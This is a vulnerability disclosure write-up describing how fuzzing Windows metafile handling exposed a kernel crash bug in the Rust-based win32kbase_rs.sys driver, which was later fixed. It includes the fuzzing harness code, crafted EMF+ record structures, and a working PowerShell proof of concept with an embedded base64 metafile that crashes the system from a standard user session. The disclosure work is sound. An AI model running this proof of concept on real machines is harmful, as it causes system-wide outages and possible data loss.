
Check Point Research (CPR) identified a security vulnerability in January 2025 affecting the new Rust-based kernel component of the Graphics Device Interface (commonly known as GDI
) in Windows. We promptly reported this issue to Microsoft and they fixed the vulnerability starting with OS Build 26100.4202 in the KB5058499 update preview released on May 28th 2025. In the following sections, we detail the methodology of our fuzzing campaign, which targeted the Windows graphics component via metafiles and led to the discovery of this security vulnerability, among others, whose technical analysis is published separately in Drawn to Danger: Bugs in Windows Graphics Lead to Remote Code Execution and Memory Exposure.
Fuzzing, a widely used software testing technique, involves providing invalid, unexpected, or random data as inputs to the program being tested for the purpose of identifying bugs. Fuzzing is a key part of our proactive approach to security testing, and we regularly apply fuzzing to widely used systems, such as Microsoft’s Windows operating system, to identify and address potential vulnerabilities before they can be exploited by malicious actors.
A reliable testing environment is essential for this kind of work. WinAFL
is a highly capable fuzzer, known for its role in identifying numerous publicly acknowledged vulnerabilities over the years, and was specifically adapted to target Windows binaries. To conduct mid-scale fuzz testing efficiently, we need to use a management tool like WinAFL Pet
. These tools simplify the creation, configuration and monitoring of fuzzing jobs, while streamlining the evaluation of any crashes detected in the application. As running multiple fuzzer instances over several days – or even weeks – can result in numerous crashes, it is important to promptly analyze what caused the program failures. BugId
provides a comprehensive and rapid analysis of the underlying reasons behind a program’s crash.
GDI
is a well-known core component of the Windows operating system, offering two-dimensional vector graphics, imaging, and typography. It enhances the Graphics Device Interface found in earlier versions of Windows by introducing new features and optimizing existing ones.
The Enhanced Metafile Format (EMF
) containing instructions to call GDI
functions. The Enhanced Metafile Format Plus (EMF+
) is a variant of EMF
metafiles where EMF+
records are embedded within EMF
records. This embedding is made possible by the ability of EMF
to include arbitrary private data in an EMR_COMMENT_EMFPLUS
record. Additionally, multiple EMF+
records can be embedded in a single EMF
record, as illustrated by Figure 1.
Figure 1. Metafiles with embedded EMF+ records (Source: Microsoft).
EMF
files represent a significant attack surface. Because of their compact file size, these files are particularly suitable for fuzz testing. Although EMF
files were the focus of multiple vulnerability disclosures in the past, the transition to the EMF+
format is less extensively studied and analyzed. The EMF+
format introduced a variety of new metafile records, increasing the complexity of processing these files. Therefore, in our current research, we focus on the long-standing attack surface of the GDI
subsystem related to the handling of metafiles and build on prior research on the EMF
format.
We launched a fuzzing campaign with a corpus of only 16 initial seed files, including several samples based on the EMF+
format. Within only a few days of testing, the fuzzer identified several potential security vulnerabilities whose possible impacts range from information disclosure to arbitrary code execution. During the fuzzing campaign, we encountered a recurring system crash – which we call a Denial of Fuzzing condition – that disrupted our research and led to an unexpected discovery. After a week of testing, the test system crashed and restarted due to a BugCheck
. This suggested that the fuzzer came across a bug affecting the Windows kernel. Given that our main focus was on user-space fuzzing, there was no straightforward method available to reproduce the crash in this scenario. Nevertheless, restarting the test campaign led to the same outcome: the system crashed again after a few days of testing, confirming the presence of a bug in the Windows kernel triggered by extensive mutations of the initial seed corpus.
This led to a shift in our focus from discovering additional vulnerabilities to tracking down this specific bug in the Windows kernel and reproducing the crash consistently. To achieve this, our first step was to enable capturing the memory dumps so we could analyze the state of the operating system at the time of the crash. However, because we used a RAM disk for file storage and the fuzzer instances were running in shared-memory mode (enabled with the -s
option in WinAFL
) to improve testing speed, determining which sample was being processed at the time of the crash remained a challenge, like trying to find a needle in a haystack. Restarting the fuzzing campaign confirmed that the system crash consistently occurred after a few days of testing and allowed us to gather multiple memory snapshots to analyze the mutated samples processed by the crashing fuzzer instance.
An initial attempt to locate the potential culprit in the memory dump by searching for EMF
signatures did not yield the desired outcome, as running each potential sample through the testing harness failed to reproduce the crash. To address this, we explored the possibility of extracting files from the queue
folder of the crashing fuzzer instance using the complete memory dump. One potential solution was to use Volatility
, the well-known memory forensics tool, capable of identifying files with the FileScan
module and extracting them using the DumpFiles
module. However, this method proved less suitable for efficiently saving a large volume of files automatically.
The forensic
mode of the MemProcFS
tool can automatically identify files within a complete memory dump. Because a RAM disk was used during testing, we obtained a complete snapshot of the actual state of the fuzzer at the moment of the system crash. Our next goal was to reduce the time window required to reproduce the error. We achieved this by initiating new fuzzing campaigns with seed files derived from the samples extracted from the queue
folder of the crashing fuzzer instance. These new test campaigns reached the mutation phase more quickly, resulting in the system crash occurring sooner.
Despite the progress, we were still unable to reproduce the error at will. Eventually, we achieved a setup where a single fuzzer instance could trigger the mutation causing the error within 30 minutes, using a data set of 836 files. This advancement allowed us to modify our fuzzing harness to transmit the mutated test files to a remote server over the network. The primary goal of this approach was to have minimal impact on the fuzzer and ensure it did not negatively affect performance or stability. To accomplish this, we supplemented the harness with the following send_data()
function, designed to transmit each tested sample to a remote server. After establishing the connection, the function sends the size of the data followed by the actual data, handling any potential errors at each step by cleaning up and returning an error code if necessary.
int send_data(char* data, uint32_t size) { WSADATA wsa; SOCKET s; struct sockaddr_in server; wchar_t ip_address[] = L"192.168.1.1"; server.sin_family = AF_INET; server.sin_port = htons(4444); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { return 1; } if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { WSACleanup(); return 1; } if (InetPton(AF_INET, ip_address, &(server.sin_addr)) != 1) { closesocket(s); WSACleanup(); return 1; } if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) { closesocket(s); WSACleanup(); return 1; } uint32_t size_header = htonl(size); if (send(s, (char*)&size_header, sizeof(size_header), 0) < 0) { closesocket(s); WSACleanup(); return 1; } if (send(s, data, size, 0) < 0) { closesocket(s); WSACleanup(); return 1; } closesocket(s); WSACleanup(); return 0; }
Listing 1. Client-side modification to send every mutation to the server.
On the server side, the following Python script actively listens for incoming connections. Each connection is handled in a separate thread, where the script receives samples from the fuzzing harness and saves them as individual files. After 5,000
files are collected, the script compresses them into a ZIP
archive and deletes the original files to optimize storage usage.
#!/usr/bin/env python3 import os import socket import zipfile import threading from concurrent.futures import ThreadPoolExecutor file_counter = 0 file_counter_lock = threading.Lock() zip_counter = 1 def handle_client(client_socket, address): global file_counter, zip_counter data_size = int.from_bytes(client_socket.recv(4), byteorder='big') data = bytearray() while len(data) < data_size: packet = client_socket.recv(min(1024, data_size - len(data))) if not packet: break data.extend(packet) with file_counter_lock: file_counter += 1 file_name = f"id_{file_counter:06d}" print(f"Received {file_counter}") with open(file_name, "wb") as file: file.write(data) if file_counter % 5000 == 0: zip_name = f"archive_{zip_counter:03d}.zip" with zipfile.ZipFile(zip_name, 'w') as zipf: for i in range(file_counter - 4999, file_counter + 1): zipf.write(f"id_{i:06d}") os.remove(f"id_{i:06d}") zip_counter += 1 client_socket.close() def main(): server_ip = "0.0.0.0" server_port = 4444 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((server_ip, server_port)) server.listen(5) print("[*] Waiting for incoming connections...") with ThreadPoolExecutor(max_workers=20) as executor: while True: client_socket, addr = server.accept() executor.submit(handle_client, client_socket, addr) if __name__ == "__main__": main()
Listing 2. Server-side Python script to catch mutated samples sent by the harness.
This modification allowed us to reproduce the error, even if it resulted from processing multiple different test files. During the first test run after updating the fuzzing harness, the system successfully crashed after 30
minutes. Based on the sample files logged on the server, the campaign reached the mutation responsible for generating the file that caused the crash after an impressive 380,000
mutations. The technical analysis of the vulnerability is outlined in the following sections.
We found a crash via a system service exception that occurred during the execution of a NtGdiSelectClipPath
syscall within version 10.0.26100.3037
of the win32kbase_rs.sys
driver. The stack trace from this crash shows Microsoft’s efforts to enhance security by reimplementing the REGION
data type of the GDI
subsystem using Rust in the Windows kernel, as discussed by a presentation on Default Security at the BlueHat IL 2023 conference. This transition is evident in how the Win32kRS::RegionCore_set_from_path()
function within the win32kbase.sys
driver calls a function with the same name in the new win32kbase_rs.sys
driver. Notably, the system crash was triggered by this new kernel component designed to improve security, as suggested by the name of the panic_bounds_check()
function referenced in the stack trace shown in Figure 2.
According to the decompiled source code of the vulnerable version of the win32kbase_rs.sys
kernel driver, the system crashes when the v109
index exceeds the allowed v86
range as shown in Figure 3, triggering a kernel panic. This issue is likely caused by the v88
and v95
loop variables incrementing beyond valid limits without proper safeguards.
Figure 3. Decompiled source code of the region_from_path_mut()
function.
When the region_from_path_mut()
function converts a path into a region it represents the outline as a singly linked list of edge blocks. The program detects the out-of-bounds memory access via core::panicking::panic_bounds_check()
and triggers a SYSTEM_SERVICE_EXCEPTION
.
The first metafile record in the crash sample that drives the execution flow into the region_from_path_mut()
function is the EmfPlusDrawBeziers
record. The path geometry resulting from this record produces the specific edge blocks responsible for the memory corruption. When the system plays this record, the geometric pen specified in the EmfPlusObject
record makes the stroke wide. The malformed‐path data eventually causes the out-of-bounds condition when the path is widened, flattened, and converted to a region in the kernel.
The following is the relevant excerpt of the EmfPlusObject
that specifies the pen to use. If PenDataStartCap
is set, the style of a starting line cap is specified in the OptionalData
field of an EmfPlusPenData
object. Similarly, PenDataNonCenter
indicates whether a pen alignment is specified in the OptionalData
field of an EmfPlusPenData
object.
EmfPlusObject pen = { .Type = 0x4008, // EmfPlusObject .Flags = 0x0200, // EmfPlusPen .Size = 0x00000030, .DazaSize = 0x00000024, .ObjectData = { .Version = 0xDBC01002, // EMF+ .Type = 0x42200000, // PenDataNonCenter, PenDataStartCap .PenDataFlags = 0x00000202, // UnitTypeInch .PenUnit = 0x00000004, .PenWidth = 0xFFFFFFEE, .OptionalData = { .StartCap = 0x0000FC05, .PenAlignment = 0x0051E541 } } };
Listing 3. Metafile record defining a Pen object.
The following structure shows the EmfPlusDrawBeziers
record that triggered the vulnerability. It contains values produced through mutation, including 17 points, despite declaring a nominal count of only 4, which is ignored during processing. This mismatch, along with the coordinate data, appears sufficient to stress the path parsing logic and expose this edge-case behavior in the kernel.
EmfPlusDrawBeziers beziers = { .Type = 0x4019, .Flags = 0x00D6, // C=1, P=0, ObjectID=0x36 .Size = 0x00000050, // 80 bytes .DataSize = 0x00000044, // 68 bytes .Count = 0x00000004, // nominal count (ignored) // PointData is read as EmfPlusPoint objects with absolute coordinates. .PointData[17] = { { 0xE63D, 0x0000 }, // (-6595 , 0) { 0xFC05, 0x0000 }, // (-1019 , 0) { 0xE541, 0x0051 }, // (-6847 , 81) { 0x0049, 0x7FFF }, // ( 73 , 32767) { 0x004C, 0x1400 }, // ( 76 , 5120) { 0x4008, 0x0202 }, // (16392 , 514) { 0x0067, 0x0000 }, // ( 103 , 0) { 0x1002, 0xDBC0 }, // ( 4098 , -9280) { 0x001C, 0x0000 }, // ( 28 , 0) { 0x0010, 0x0000 }, // ( 16 , 0) { 0x1002, 0xDBC0 }, // ( 4098 , -9280) { 0x0001, 0x0000 }, // ( 1 , 0) { 0x0060, 0x4008 }, // ( 96 , 16392) { 0x0003, 0x0000 }, // ( 3 , 0) { 0x0000, 0x4600 }, // ( 0 , 17920) { 0x0000, 0x0100 }, // ( 0 , 256) { 0x004C, 0x0000 } // ( 76 , 0) } };
Listing 4. Metafile record defining a Bezier curve with 17 absolute points.
Additional analysis indicates that the bounds check fails specifically when a Metafile
object is passed to Graphics::FromImage()
to create a Graphics
object, despite the method being documented to accept only Image
objects intended for drawing, such as Bitmap
. This misuse enables execution to reach the vulnerable code path. The resulting BugCheck
can be triggered by invoking the DrawImage()
method on the Graphics
object created from the Metafile
. The following PowerShell script embeds a metafile in the $b
variable containing a specially crafted EmfPlusDrawBeziers
record with malformed edge data. This approach works from low integrity within a standard user session and affects both x86 and x64 systems, as the vulnerable routine resides in the win32kbase_rs.sys
driver.
Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $b = [Convert]::FromBase64String("AQAAAGwAAAAAAAAAACEAAGMAAABgCAAAlQEAAAAAAABvCfMAIAoAACBFTUYAAAEAYAIAAAkAAAABAAAAAAAAAAAAAAAAAAAAgAcAALAEAADYAgAARAH6AAAAAAAAAAAAAAAAAHDnBwCg8QQARgAAACwAAAAAEAAARU1GKwFAAAAcAAAAEAAAAAIQwNsBAAAAYAAAAGAAAABGAAAAFAEAAAgBAABFTUYrCEAAAjAAAAAkAAAAAhDA2wAAIEICAgAABAAAAO7///8F/AAAQeVRAEkAQQBMAAAACEAAAkgAAAA8AAAAAhDA2wAA5f/wAAAALAAAAP///vBGTUor4EAAEAAAAIAQAAAAAhDA2wEAAABgAAhAAwAAAAAAf38SQAAACEACATwAAAAwAAAAuxDA2wQAAAAAAAAAAAAAEAABAADlAAAAAADuQgAAyEIAHgAA/wAA/wAA////AAD/GUAA1lAAAABEAAAABAAAAD3mAAAF/AAAQeVRAEkA/39MAAAUCEACAmcAAAACEMDbHAAAABAAAAACEMDbAQAAAGAACEADAAAAAAAARgAAAAEAAABMAAAAZAAAAAAPAAAAAAwAABAAAABgAAAAD+j///8AAABVEQAAyEIAAMhCAAD///7/7/8AAP/9/wDi/mEAAAApAKoAFgAAAAAAogAAAIA/AAAAAAAAAAAAABAAAPD///8AAAAAAAAAdXV1dXV1dXV1dQD29gAiAAAADAAAAP////9GAAoAAAAAAA4AAABFTUYrGUAA/gsKAAAAAH+ADgAAABQAAAAAAAAAEAASABQNAAA="); $s = [System.IO.MemoryStream]::new($b); $f = New-Object System.Windows.Forms.Form; $g = [System.Drawing.Graphics]::FromHwnd($f.Handle); $h = $g.GetHdc(); $m = New-Object System.Drawing.Imaging.Metafile($s, $h); $mg = [System.Drawing.Graphics]::FromImage($m); $mg.DrawImage([System.Drawing.Image]::FromStream($s),0,0);
Listing 5. Proof-of-concept PowerShell script for reproducing the vulnerability.
The shown proof-of-concept metafile can only trigger the crash when the edge block reaching the kernel produces a specific path geometry. Below are three independent record-level edits that would prevent that layout from forming, so the buggy code path is not executed:
C/P
flags so the PointData
field is read as an array of EmfPlusPointF
objects:$b[0x15f]=0;
Size
to add an extra flat point:$b[0x160]=84;$b=$b[0..351]+(0,0,0,0)+$b[352..($b.Length-1)];
DataSize
to 64
to drop the last point:$b[0x164]=64;
This issue is mitigated by the fact that the vulnerable win32kbase_rs.sys
component is not present on Windows Server versions. We reported this vulnerability to Microsoft, but MSRC classified it as Moderate severity, stating that it does not warrant immediate servicing. However, they fixed the vulnerability as part of a feature update few weeks after the May 2025 Patch Tuesday. According to their assessment:
“the Rust code correctly catches an out-of-bounds array access and triggers a panic, resulting in a Blue Screen of Death (BSOD), as expected”
However, the observed behavior aligns with the broader definition of a vulnerability. Triggering a BSOD through a user-space function that processes user-controlled input should be regarded as a vulnerability necessitating a security fix. A failed security check should not lead to a system crash.
More importantly, as confirmed by the MSRC, a threat actor could exploit this flaw by creating malicious metafiles designed to crash targeted systems when the metafile is displayed. Such disruptions could render enterprise environments temporarily inoperable, leading to unexpected downtime and interfering with key business processes. In addition, there may be data loss or corruption as well.
Imagine a scenario where an attacker obtains credentials for a low-privileged domain user who can log in to all systems across the entire enterprise. With a bit of scripting magic, they could easily crash every Windows desktop late on a Friday afternoon, early Monday morning or at a chosen time that would be most detrimental to the business.
Microsoft determined that this was a moderate-severity denial-of-service issue and therefore chose to address it in a non-security update. According to Microsoft, the fix was first shipped with KB5058499 in version 10.0.26100.4202 of the win32kbase_rs.sys
kernel module, released on May 28, 2025, and reached full global release status by the end of the week of June 23. Notably, version 4202 introduced a significant update to the module, reflected in a file size increase from 148 KB to 164 KB, suggesting substantial internal changes likely related to the vulnerability fix. One of the most heavily modified components in this update is the region_from_path_mut()
function, which underwent some restructuring.
Figure 5. Visualization of function-level differences showing modifications in the region_from_path_mut()
function.
Among its most notable changes is the introduction of two distinct edge-handling routines: add_edge_original()
and add_edge_new()
. The GlobalEdgeTable::add_edge()
function, which converts two vertices into an edge record and inserts it into the in-memory edge table, now exists in these two forms. Microsoft retained the original logic as add_edge_original()
and implemented a new, bounds-hardened version called add_edge_new()
. While both implementations produce the same functional output, the new version addresses several corner cases and potential memory-handling issues present in the legacy routine.
Figure 6. Decompiled source code of the region_from_path_mut()
function showing the add_edge_new()
function.
A feature flag, Feature_Servicing_Win32kRSPathToRegion_IsEnabled()
, determines at runtime which version is invoked. Although the fix was already present in the codebase, we found during our initial testing that this feature flag was disabled. We were only able to confirm the presence of the fix in the debugger, and we could only verify the fix later in production following the July 2025 Patch Tuesday.
We discovered a security vulnerability in the recently shipped Rust code of the Windows graphics component that could have serious implications for system security. While the adoption of Rust in the Windows kernel marks a significant step forward for security and reliability, it is important to recognize that software engineering challenges cannot be overcome by language choice alone. Rust offers strong guarantees around memory safety and type correctness, helping prevent entire classes of bugs such as buffer overflows and invalid pointer dereferences. However, rigorous security testing and thoughtful software design remain essential, as issues can still arise.
In the case of implementing GDI region and related functions in Rust, a failed security check triggered a deliberate kernel panic, also known as Blue Screen of Death (BSOD). Although this crash was originally intended as a safety mechanism, for example, as an emergency stop when something goes wrong, this highlights a larger concern. A fitting analogy might be a home alarm system that stops a burglar by blowing up the house. While the threat is technically neutralized, the collateral damage is far too costly.
We should aim for security solutions that protect without risking system-wide failure. It is also worth bearing in mind that these issues are not unique to Rust but can happen in any other software project as well. Therefore, while it is encouraging to see this step to rewrite a critical part of the operating system using memory-safe language, this example must also serve as a reminder of the difficulties involved and the necessity of using extremely thorough engineering standards and principles. Even rigorous standards will not guarantee smooth sailing. We should still anticipate encountering unexpected bugs and vulnerabilities.
Our finding may constitute the first publicly disclosed security issue involving a Rust-based kernel component following Rust’s integration into the Windows kernel. Shortly thereafter, we identified a vulnerability that could allow attackers to crash Windows 11 version 24H2 using a specially crafted metafile, as demonstrated by a one-liner proof-of-concept PowerShell script. The question remains whether we will continue to see more bugs like this in the kernel.